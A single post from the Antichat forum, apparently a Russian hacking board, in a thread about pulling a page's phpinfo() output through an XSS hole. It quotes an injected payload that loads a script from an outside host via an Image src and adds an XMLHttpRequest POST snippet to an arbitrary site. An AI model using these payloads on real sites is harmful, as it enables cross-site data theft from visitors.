Форум АНТИЧАТ - Показать сообщение отдельно - Загрузка кода страницы phpinfo() через xss ( тунель)

Цитата:

Сообщение от bazaWT

↑
В XSS вставляю скрипт в таком виде img= new Image();img.src="
http://bldfdfdd.125mb.com/22.js
" . Может проблемма в src ?

Это шутка? Почему картинка должна исполняться как скрипт?

Цитата:

Сообщение от blackbox

↑
В вики по-другому написано:

Произвольные заголовки запрещены. Обычный POST/GET с дефолтными заголовками отправляется.

Код:

var x = new XMLHttpRequest();
x.open('POST', 'http://anysite/', true);
x.send('param=value');